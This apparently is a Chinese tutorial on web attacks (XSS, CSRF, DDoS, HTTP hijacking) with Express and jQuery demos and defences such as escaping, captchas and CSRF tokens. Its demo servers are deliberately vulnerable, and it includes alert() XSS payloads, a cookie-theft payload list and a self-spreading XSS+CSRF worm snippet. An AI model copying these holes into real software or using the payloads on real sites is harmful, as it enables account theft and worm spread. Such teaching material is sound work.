1. XSS(Cross-Site Script)
- 黑客往網(wǎng)頁里注入惡意腳本代碼
- 當(dāng)用戶訪問時獲取到包含惡意代碼的網(wǎng)頁
- 通過惡意腳本,黑客可以獲取和控制用戶信息
1.1 反射型(非持久型)XSS
誘導(dǎo)用戶點擊惡意鏈接來造成一次性攻擊
- 黑客把帶有惡意腳本代碼參數(shù)的URL地址發(fā)送給用戶
- 用戶點擊此鏈接
- 服務(wù)器端獲取請求參數(shù)并且直接使用,服務(wù)器反射回結(jié)果頁面
反射型XSS攻擊是一次性的,必須要通過用戶點擊鏈接才能發(fā)起
一些瀏覽器如Chrome其內(nèi)置了一些XSS過濾器,可以防止大部分反射型XSS攻擊
-
反射型XSS其實就是服務(wù)器沒有對惡意的用戶輸入進行安全處理就直接反射響應(yīng)內(nèi)容,導(dǎo)致惡意代碼在瀏覽器中執(zhí)行的一種XSS漏洞
const express = require('express'); const fs = require('fs'); const path = require('path'); const app = express(); const bodyParser = require('body-parser'); app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json()); app.use(express.static(path.resolve(__dirname, 'public'))); //http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E app.get('/list', function (req, res) { let { category } = req.query; res.header('Content-Type', 'text/html;charset=utf-8'); res.send(`你輸入的分類是: ${category}`); }); app.listen(3000, () => console.log('The server is starting at port 3000'));
1.2 存儲型(持久型)XSS
黑客將代碼存儲到漏洞服務(wù)器中,用戶瀏覽相關(guān)頁面發(fā)起攻擊
- 黑客將惡意腳本代碼上傳或存儲到漏洞服務(wù)器
- 服務(wù)器把惡意腳本保存到服務(wù)器
- 當(dāng)正??蛻粼L問服務(wù)器時,服務(wù)器會讀取惡意數(shù)據(jù)并且直接使用
- 服務(wù)器會返回含有惡意腳本的頁面
| 類型 | 反射型 | 存儲型 |
|---|---|---|
| 持久性 | 非持久 | 持久化(存儲在服務(wù)器) |
| 觸發(fā)時機 | 需要用戶點擊 | 不需要用戶交互也可以觸發(fā) |
| 危害 | 危害較小 | 危害更大 |
public\comment-list.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>評論列表</title>
<link rel="stylesheet" >
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<h2>評論列表</h2>
</div>
<div class="panel-body">
<ul class="list-group comment-list">
</ul>
</div>
<div class="panel-footer">
<div class="row">
<div class="col-md-12">
<form onsubmit="addComment(event)">
<div class="form-group">
<label for="username">用戶名</label>
<input id="username" class="form-control" placeholder="用戶名">
</div>
<div class="form-group">
<label for="content">內(nèi)容</label>
<input id="content" class="form-control" placeholder="請輸入評論">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function getCommentList() {
$.get('/api/comments').then(comments => {
let html = comments.map(item => (
`
<li class="list-group-item">
<div class="media">
<div class="media-left">
<a href="#">
<img style="border-radius:5px" class="media-object" src="${item.avatar}" >
</a>
</div>
<div class="media-body">
<h4 class="media-heading">用戶名: ${item.username}</h4>
<p>內(nèi)容: ${item.content}</p>
<p>時間: ${item.time}</p>
</div>
</div>
</li>
`
)).join('');
$('.comment-list').html(html);
});
}
getCommentList();
function addComment(event) {
event.preventDefault();
let username = $('#username').val();
let content = $('#content').val();
if (!content) return;
$.post('/api/comments', { username, content }).then(data => {
getCommentList();
$('#content').val('');
});
}
</script>
</body>
</html>
server.js
let comments = [
{ avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '張三', content: '今天天氣不錯', time: new Date().toLocaleString() },
{ avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '李四', content: '是的', time: new Date().toLocaleString() }
];
app.get('/api/comments', function (req, res) {
res.json(comments);
});
app.post('/api/comments', function (req, res) {
let comment = req.body;
comments.push({
...comment,
avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a',
time: new Date().toLocaleString()
});
res.json(comments);
});
1.3 DOM-Based型XSS
不需要服務(wù)器端支持,是由于DOM結(jié)構(gòu)修改導(dǎo)致的,基于瀏覽器DOM解析的攻擊
用戶打開帶有惡意的鏈接
瀏覽器在DOM解析的時候直接使用惡意數(shù)據(jù)
用戶中招
-
常見的觸發(fā)場景就是在修改innerHTML outerHTML document.write的時候
<body> <h1>輸入鏈接地址,然后點擊按鈕</h1> <div id="content"></div> <input type="text" id="link"> <button onclick="setup()">設(shè)置</button> <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script> <script> function setup() { // " onclick=alert(1) // let html = `<a href="${$('#link').val()}">點我</a>`; $('#content').html(html); } </script> </body>
1.4 payload
實現(xiàn)XSS攻擊的惡意腳本被稱為 XSS payload
- 竊取用戶的Cookie
document.cookie - 識別用戶瀏覽器
navigator.userAgent - 偽造請求 GET POST請求
- XSS釣魚 通過XSS向網(wǎng)頁上注入釣魚鏈接,讓用戶訪問假冒的網(wǎng)站
1.5 如何防御XSS
- 給cookie設(shè)置httpOnly屬性 腳本無法讀取該Cookie,自己也不能用,非根本解決XSS
login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登錄</title>
<link rel="stylesheet" >
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<form onsubmit="login(event)">
<div class="form-group">
<label for="username">用戶名</label>
<input id="username" class="form-control" placeholder="用戶名">
</div>
<div class="form-group">
<label for="password">密碼</label>
<input id="password" class="form-control" placeholder="密碼">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="登錄">
</div>
</form>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function login() {
let username = $('#username').val();
let password = $('#password').val();
$.post('/api/login', { username, password }).then(data => {
if (data.code == 0) {
location.href = `/user.html?username=${username}`;
}
$('#username').val('');
$('#password').val('');
});
}
</script>
</body>
</html>
user.html
<script>
document.write(document.cookie);
</script>
server.js
let users = [{ username: 'a', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }, { username: 'b', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }];
let userSessions = {};
app.post('/api/login', function (req, res) {
let body = req.body;
let user;
for (let i = 0; i < users.length; i++) {
if (body.username == users[i].username && body.password == users[i].password) {
user = users[i];
break;
}
}
if (user) {
const sessionId = 'user_' + Math.random() * 1000;
res.cookie('username', user.username);
res.cookie('sessionId', sessionId, { httpOnly: true });
userSessions[sessionId] = {};
res.json({ code: 0, user });
} else {
res.json({ code: 1, data: '沒有該用戶' });
}
});
1.6 Web相關(guān)編碼和轉(zhuǎn)義
1.6.1 URL 編碼
一般來說,URL只能使用英文字母(a-zA-Z)、數(shù)字(0-9)、-_.~4個特殊字符以及所有(;,/?:@&=+$#)保留字符。
-
如果使用了一些其他文字和特殊字符,則需要通過編碼的方式來進行表示
var url1 = 'http://www.張熙沐楓.com'; //包含漢字 encodeURI(url1));//http://www.%E7%8F%A0%E5%B3%B0.com var url2 = 'http://www.a.com?名稱=沐楓'; //鍵為漢字 var url3 = 'http://a.com?name=?&'; //值的內(nèi)容為特殊符號 encodeURI encodeURI是用來編碼URI的,最常見的就是編碼一個 URL。encodeURI 會將需要編碼的字符轉(zhuǎn)換為 UTF-8 的格式。對于保留字符(;,/?:@&=+$#),以及非轉(zhuǎn)義字符(字母數(shù)字以及 -_.!~*'())不會進行轉(zhuǎn)義。
encodeURI 不轉(zhuǎn)義&、?和=
encodeURI(url3);//http://a.com?name=?&encodeURIComponent 是用來編碼 URI 參數(shù)的,它會跳過非轉(zhuǎn)義字符(字母數(shù)字以及-_.!~*'())。但會轉(zhuǎn)義 URL的 保留字符(;,/?:@&=+$#,
encodeURIComponent(url3));// http%3A%2F%2Fa.com%3Fname%3D%3F%26所有完整編碼一個URL字符串需要encodeURI和encodeURIComponent聯(lián)合使用
console.log(encodeURI('http://a.com?name=') + encodeURIComponent('?&')); http://a.com?name=%3F%26
1.6.2 HTML 編碼
在 HTML 中,某些字符是預(yù)留的,比如不能使用小于號(<)和大于號(>),這是因為瀏覽器會誤認為它們是標(biāo)簽。如果希望正確地顯示預(yù)留字符,我們必須在 HTML 源代碼中使用字符實體(character entities) HTML 編碼分為:
- HTML 十六進制編碼 &#xH;
- HTML 十進制編碼 &#D;
- HTML 實體編碼 < 等
在 HTML 進制編碼中其中的數(shù)字則是對應(yīng)字符的 unicode 字符編碼。 比如單引號的 unicode 字符編碼是27,則單引號可以被編碼為'
function htmlEncode(str) {
return String(str)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
}
1.6.3 Javascript 轉(zhuǎn)義
avaScript 中有些字符有特殊用途,如果字符串中想使用這些字符原來的含義,需要使用反斜杠對這些特殊符號進行轉(zhuǎn)義。我們稱之為 Javascript編碼
三個八進制數(shù)字,如果不夠個數(shù),前面補0,例如 “e” 編碼為“\145”
兩個十六進制數(shù)字,如果不夠個數(shù),前面補0,例如 “e” 編碼為“\x65”
四個十六進制數(shù)字,如果不夠個數(shù),前面補0,例如 “e” 編碼為“\u0065”
-
對于一些控制字符,使用特殊的C類型的轉(zhuǎn)義風(fēng)格(例如\n和\r)
var str = "zxmf""; var str = "zxmf\"";
1.7 輸入檢查
- 永遠不要相信用戶的輸入
- 用戶格式判斷 白名單
- 過濾危險字符 去除
- 事件屬性中 加入房間
1.8.3 URL解析環(huán)境
使用之前要做urlencode()
-
url中 link
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <div id="intag"></div> <div id="tagAttr"></div> <div id="inEvent"></div> <div id="inLink"></div> <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script> <script> function htmlEncode(str) { return String(str) .replace(/&/g, '&') .replace(/"/g, '"') .replace(/'/g, ''') .replace(/</g, '<') .replace(/>/g, '>'); } let data = { desc: "<script>alert(1);<\/script>", clsName: '"><script>alert(2);<\/script>', url: '"><script>alert(3);<\/script>', id: '"><script>alert(4);<\/script>', } $('#intag').html(htmlEncode(data.desc)); $('#tagAttr').html(`<a class = "${htmlEncode(data.clsName)}">標(biāo)簽屬性中</a>`); $('#inEvent').html(`<a href="#" onclick = "go('${data.url}')">事件參數(shù)</a>`); $('#inLink').html(`<a href="http://localhost:3000/articles/${encodeURI(data.id)}">link</a>`); function go(url) { console.log(url); } //使用“\”對特殊字符進行轉(zhuǎn)義,除數(shù)字字母之外,小于127使用16進制“\xHH”的方式進行編碼,大于用unicode(非常嚴(yán)格模式)。 var JavaScriptEncode = function (str) { var hex = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'); function changeTo16Hex(charCode) { return "\\x" + charCode.charCodeAt(0).toString(16); } function encodeCharx(original) { var found = true; var thecharchar = original.charAt(0); var thechar = original.charCodeAt(0); switch (thecharchar) { case '\n': return "\\n"; break; //newline case '\r': return "\\r"; break; //Carriage return case '\'': return "\\'"; break; case '"': return "\\\""; break; case '\&': return "\\&"; break; case '\\': return "\\\\"; break; case '\t': return "\\t"; break; case '\b': return "\\b"; break; case '\f': return "\\f"; break; case '/': return "\\x2F"; break; case '<': return "\\x3C"; break; case '>': return "\\x3E"; break; default: found = false; break; } if (!found) { if (thechar > 47 && thechar < 58) { //數(shù)字 return original; } if (thechar > 64 && thechar < 91) { //大寫字母 return original; } if (thechar > 96 && thechar < 123) { //小寫字母 return original; } if (thechar > 127) { //大于127用unicode var c = thechar; var a4 = c % 16; c = Math.floor(c / 16); var a3 = c % 16; c = Math.floor(c / 16); var a2 = c % 16; c = Math.floor(c / 16); var a1 = c % 16; return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ""; } else { return changeTo16Hex(original); } } } var preescape = str; var escaped = ""; var i = 0; for (i = 0; i < preescape.length; i++) { escaped = escaped + encodeCharx(preescape.charAt(i)); } return escaped; } </script> </body> </html>
2. CSRF
2.1 跨站請求偽造
Cross Site Request Forgery 跨站請求偽造
- 用戶A登錄銀行網(wǎng)站,登錄成功后會設(shè)置cookie
- 黑客誘導(dǎo)用戶A登錄到黑客的站點,然后會返回一個頁面
- 用戶訪問這個頁面時,這個頁面會偽造一個轉(zhuǎn)賬請求到銀行網(wǎng)站
bank.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>我的銀行</title>
<link rel="stylesheet" >
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<p>用戶名
<span id="username"></span>
</p>
<p>余額
<span id="money"></span>
</p>
</div>
<div class="panel-body">
<form onsubmit="transfer(event)">
<div class="form-group">
<label for="target">轉(zhuǎn)賬用戶</label>
<input id="target" class="form-control" placeholder="請輸入的用戶名">
</div>
<div class="form-group">
<label for="amount">金額</label>
<input id="amount" class="form-control" placeholder="請輸入轉(zhuǎn)賬的金額">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
$(function () {
$.get('/api/user').then(data => {
console.log(data);
console.log(data.user.username);
if (data.code == 0) {
$('#username').html(data.user.username);
$('#money').html(data.user.money);
} else {
alert('用戶未登錄');
location.href = '/login.html';
}
});
});
function transfer(event) {
event.preventDefault();
let target = $('#target').val();
let amount = $('#amount').val();
$.post('/api/transfer', { target, amount }).then(data => {
if (data.code == 0) {
alert('轉(zhuǎn)賬成功');
location.reload();
} else {
alert('用戶未登錄');
location.href = '/login.html';
}
});
}
</script>
</body>
</html>
app.get('/api/user', function (req, res) {
let { username } = userSessions[req.cookies.sessionId];
if (username) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
user = users[i];
break;
}
}
res.json({ code: 0, user });
} else {
res.json({ code: 1, error: '用戶沒有登錄' });
}
});
app.post('/api/transfer', function (req, res) {
let { target, amount } = req.body;
amount = isNaN(amount) ? 0 : Number(amount);
let { username } = userSessions[req.cookies.sessionId];
if (username) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount;
} else if (target == users[i].username) {
users[i].money += amount;
}
}
res.json({ code: 0 });
} else {
res.json({ code: 1, error: '用戶沒有登錄' });
}
})
2.2 防御
- 用戶不知情 驗證碼 影響用戶體驗
- 跨站請求 使用refer驗證 不可靠
- 參數(shù)偽造 token 最主流的防御CSRF
2.2.1 驗證碼
server.js
var svgCaptcha = require('svg-captcha');
app.get('/api/captcha', function (req, res) {
let session = userSessions[req.cookies.sessionId];
if (session) {
var codeConfig = {
size: 5,// 驗證碼長度
ignoreChars: '0o1i', // 驗證碼字符中排除 0o1i
noise: 2, // 干擾線條的數(shù)量
height: 44
}
var captcha = svgCaptcha.create(codeConfig);
session.captcha = captcha.text.toLowerCase(); //存session用于驗證接口獲取文字碼
res.send({ code: 0, captcha: captcha.data });
} else {
res.json({ code: 1, data: '沒有該用戶' });
}
});
bank.html
<div class="form-group">
<label for="captcha" id="captcha"></label>
<input id="captcha" class="form-control" placeholder="請輸入驗證碼">
</div>
$.get('/api/captcha').then(data => {
if (data.code == 0) {
$('#captcha').html(data.captcha);
} else {
alert('用戶未登錄');
location.href = '/login.html';
}
});
?
2.2.2 refer 驗證
let referer = req.headers['referer'];
if (/^https?:\/\/localhost:3000/.test(referer)) {
} else {
res.json({ code: 1, error: 'referer不正確' });
}
2.2.3 token驗證
bank.html
function getClientToken() {
let result = document.cookie.match(/token=([^;]+)/);
return result ? result[1] : '';
}
function transfer(event) {
event.preventDefault();
let target = $('#target').val();
let amount = $('#amount').val();
let captcha = $('#captcha').val();
$.post('/api/transfer', {
target,
amount,
captcha,
clientToken: getClientToken()
}).then(data => {
if (data.code == 0) {
alert('轉(zhuǎn)賬成功');
location.reload();
} else {
alert('用戶未登錄');
location.href = '/login.html';
}
});
}
server.js
app.post('/api/transfer', function (req, res) {
// let referer = req.headers['referer'];
//if (/^https?:\/\/localhost:3000/.test(referer)) {
let { target, amount, clientToken, captcha } = req.body;
amount = isNaN(amount) ? 0 : Number(amount);
let { username, token } = userSessions[req.cookies.sessionId];
if (username) {
if (clientToken == token) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount;
} else if (target == users[i].username) {
users[i].money += amount;
}
}
res.json({ code: 0 });
} else {
res.json({ code: 1, error: '違法操作' });
}
} else {
res.json({ code: 1, error: '用戶沒有登錄' });
}
//} else {
res.json({ code: 1, error: 'referer不正確' });
//}
})
2.2.4 xss+csrf(蠕蟲)
不斷傳播的xss+csrf攻擊 worm.js
const attack = '<script src="http://localhost:3001/worm.js"></script>';
$.post('/api/comments', { content: 'haha' + attack });
3. DDOS攻擊
分布式拒絕服務(wù)(Distribute Denial Of Service)
- 黑客控制大量的肉雞向受害主機發(fā)送非正常請求,導(dǎo)致目標(biāo)主機耗盡資源不能為合法用戶提供服務(wù)
- 驗證碼是我們在互聯(lián)網(wǎng)十分常見的技術(shù)之一。不得不說驗證碼是能夠有效地防止多次重復(fù)請求的行為。
- 限制請求頻率是我們最常見的針對 DDOS 攻擊的防御措施。其原理為設(shè)置每個客戶端的請求頻率的限制
- 增加機器增加服務(wù)帶寬。只要超過了攻擊流量便可以避免服務(wù)癱瘓
- 設(shè)置自己的業(yè)務(wù)為分布式服務(wù),防止單點失效
- 使用主流云系統(tǒng)和 CDN(云和 CDN 其自身有 DDOS 的防范作用)
- 優(yōu)化資源使用提高 web server 的負載能力
4. HTTP劫持
- 在用戶的客戶端與其要訪問的服務(wù)器經(jīng)過網(wǎng)絡(luò)協(xié)議協(xié)調(diào)后,二者之間建立了一條專用的數(shù)據(jù)通道,用戶端程序在系統(tǒng)中開放指定網(wǎng)絡(luò)端口用于接收數(shù)據(jù)報文,服務(wù)器端將全部數(shù)據(jù)按指定網(wǎng)絡(luò)協(xié)議規(guī)則進行分解打包,形成連續(xù)數(shù)據(jù)報文。
- 用戶端接收到全部報文后,按照協(xié)議標(biāo)準(zhǔn)來解包組合獲得完整的網(wǎng)絡(luò)數(shù)據(jù)。其中傳輸過程中的每一個數(shù)據(jù)包都有特定的標(biāo)簽,表示其來源、攜帶的數(shù)據(jù)屬性以及要到何處,所有的數(shù)據(jù)包經(jīng)過網(wǎng)絡(luò)路徑中ISP的路由器傳輸接力后,最終到達目的地,也就是客戶端。
- HTTP劫持是在使用者與其目的網(wǎng)絡(luò)服務(wù)所建立的專用數(shù)據(jù)通道中,監(jiān)視特定數(shù)據(jù)信息,提示當(dāng)滿足設(shè)定的條件時,就會在正常的數(shù)據(jù)流中插入精心設(shè)計的網(wǎng)絡(luò)數(shù)據(jù)報文,目的是讓用戶端程序解釋“錯誤”的數(shù)據(jù),并以彈出新窗口的形式在使用者界面展示宣傳性廣告或者直接顯示某網(wǎng)站的內(nèi)容。